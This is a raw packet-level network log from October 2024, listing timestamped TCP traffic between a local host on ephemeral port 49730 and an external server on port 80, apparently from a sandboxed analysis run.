Oct 7, 2024 21:19:15.320436001 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.320467949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.320476055 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.320506096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.320509911 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.320547104 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.320656061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.320688009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.320703030 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.320724010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.320729017 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.320760965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.320761919 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.320795059 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.320827961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.320836067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.320836067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.320869923 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.320974112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.321007967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.321014881 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.321042061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.321046114 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.321077108 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.321084023 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.321114063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.321161985 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.321201086 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.441602945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.441625118 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.441663980 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.441708088 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.441730022 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.441771030 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.441967964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.442008972 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.443571091 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.443588018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.443603039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.443617105 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.443644047 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.443651915 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.443784952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.443825960 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.443845034 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.443860054 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.443883896 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.443892956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.443902016 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.443911076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.443938017 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.443955898 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.443989992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.444005966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.444030046 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.444046974 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.444924116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.444969893 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.444972038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.444989920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.445009947 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.445033073 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.445179939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.445195913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.445213079 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.445218086 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.445230961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.445239067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.445262909 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.445280075 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.445341110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.445358992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.445375919 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.445388079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.445391893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.445405006 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.445420980 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.445436954 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.445496082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.445512056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.445542097 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.445557117 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.445595026 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.445611954 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.445637941 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.445656061 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.445693016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.445705891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.445738077 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.445754051 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.445775986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.445791960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.445810080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.445813894 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.445823908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.445833921 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.445847034 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.445863008 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.586194992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.586230040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.586246967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.586256981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.586262941 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.586281061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.586282969 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.586282969 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.586297035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.586308002 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.586314917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.586327076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.586337090 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.586352110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.586390972 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.586405993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.586421013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.586436033 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.586436033 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.586436987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.586453915 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.586468935 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.586471081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.586484909 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.586484909 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.586527109 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.587821960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.587856054 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.587882996 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.587889910 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.587893009 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.587925911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.587963104 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.587964058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.587969065 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.588013887 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.671463013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.671533108 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.712325096 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.718142033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.929651976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.929723024 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.929759026 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.929764032 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.929791927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.929821968 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.929827929 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.929860115 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.929876089 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.929881096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.929915905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.929949999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.929980993 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.929984093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.930017948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.930032015 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.930049896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.930077076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.930083036 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.930114985 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.930121899 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.930151939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:15.930176973 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:15.930421114 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.014195919 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.014569044 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.015624046 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.053561926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.053756952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.053771973 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.053788900 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.053829908 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.053844929 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.053880930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.053917885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.053934097 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.053968906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.053987980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.054006100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.054011106 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.054043055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.054078102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.054080009 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.054116964 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.054130077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.054166079 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.054198027 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.054198027 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.054224014 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.054256916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.054263115 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.054289103 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.054291964 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.054344893 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.054369926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.054512024 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.054512978 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.054563046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.054594994 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.054598093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.054632902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.054672956 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.054697990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.054742098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.054792881 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.054827929 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.054888964 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.054958105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.054991007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.055023909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.055057049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.055084944 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.055084944 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.058300972 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.098726988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.098797083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.098887920 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.098887920 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.177964926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.177989006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.178005934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.178025007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.178040028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.178251028 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.178251028 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.178354979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.178371906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.178388119 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.178514004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.178529024 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.178536892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.178553104 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.178569078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.178579092 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.178579092 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.178673983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.178883076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.178896904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.178910017 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.178910017 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.178913116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.178929090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.178944111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.178961992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.178972006 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.178972006 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.179028034 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.179059982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.179148912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.179176092 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.179176092 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.179215908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.179255962 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.179270983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.179303885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.179585934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.179600000 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.179629087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.179642916 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.179644108 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.179661989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.179666042 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.179693937 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.179732084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.179749966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.179780960 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.179831982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.180396080 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.268469095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.268522978 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.268562078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.272229910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.303400993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.303438902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.303456068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.303472042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.303488016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.303503036 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.303519964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.303534985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.303675890 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.303881884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.303906918 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.303936958 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.303951979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.303967953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.303982973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.303999901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.304008007 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.304008007 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.304008007 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.304008007 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.304018021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.304035902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.304050922 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.304050922 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.304055929 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.304171085 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.304207087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.304251909 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.304285049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.304303885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.304342985 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.304382086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.304423094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.304533005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.304595947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.304611921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.304673910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.304673910 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.304673910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.304673910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.304692984 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.304711103 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.304727077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.304758072 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.304758072 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.308034897 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.412792921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.412842989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.412878990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.415914059 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.427228928 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.427344084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.427416086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.427450895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.427486897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.427524090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.427530050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.427530050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.427849054 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.427884102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.427915096 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:16.427916050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:16.427953959 CEST	80	49730	185.215.113.37	192.168.2.4
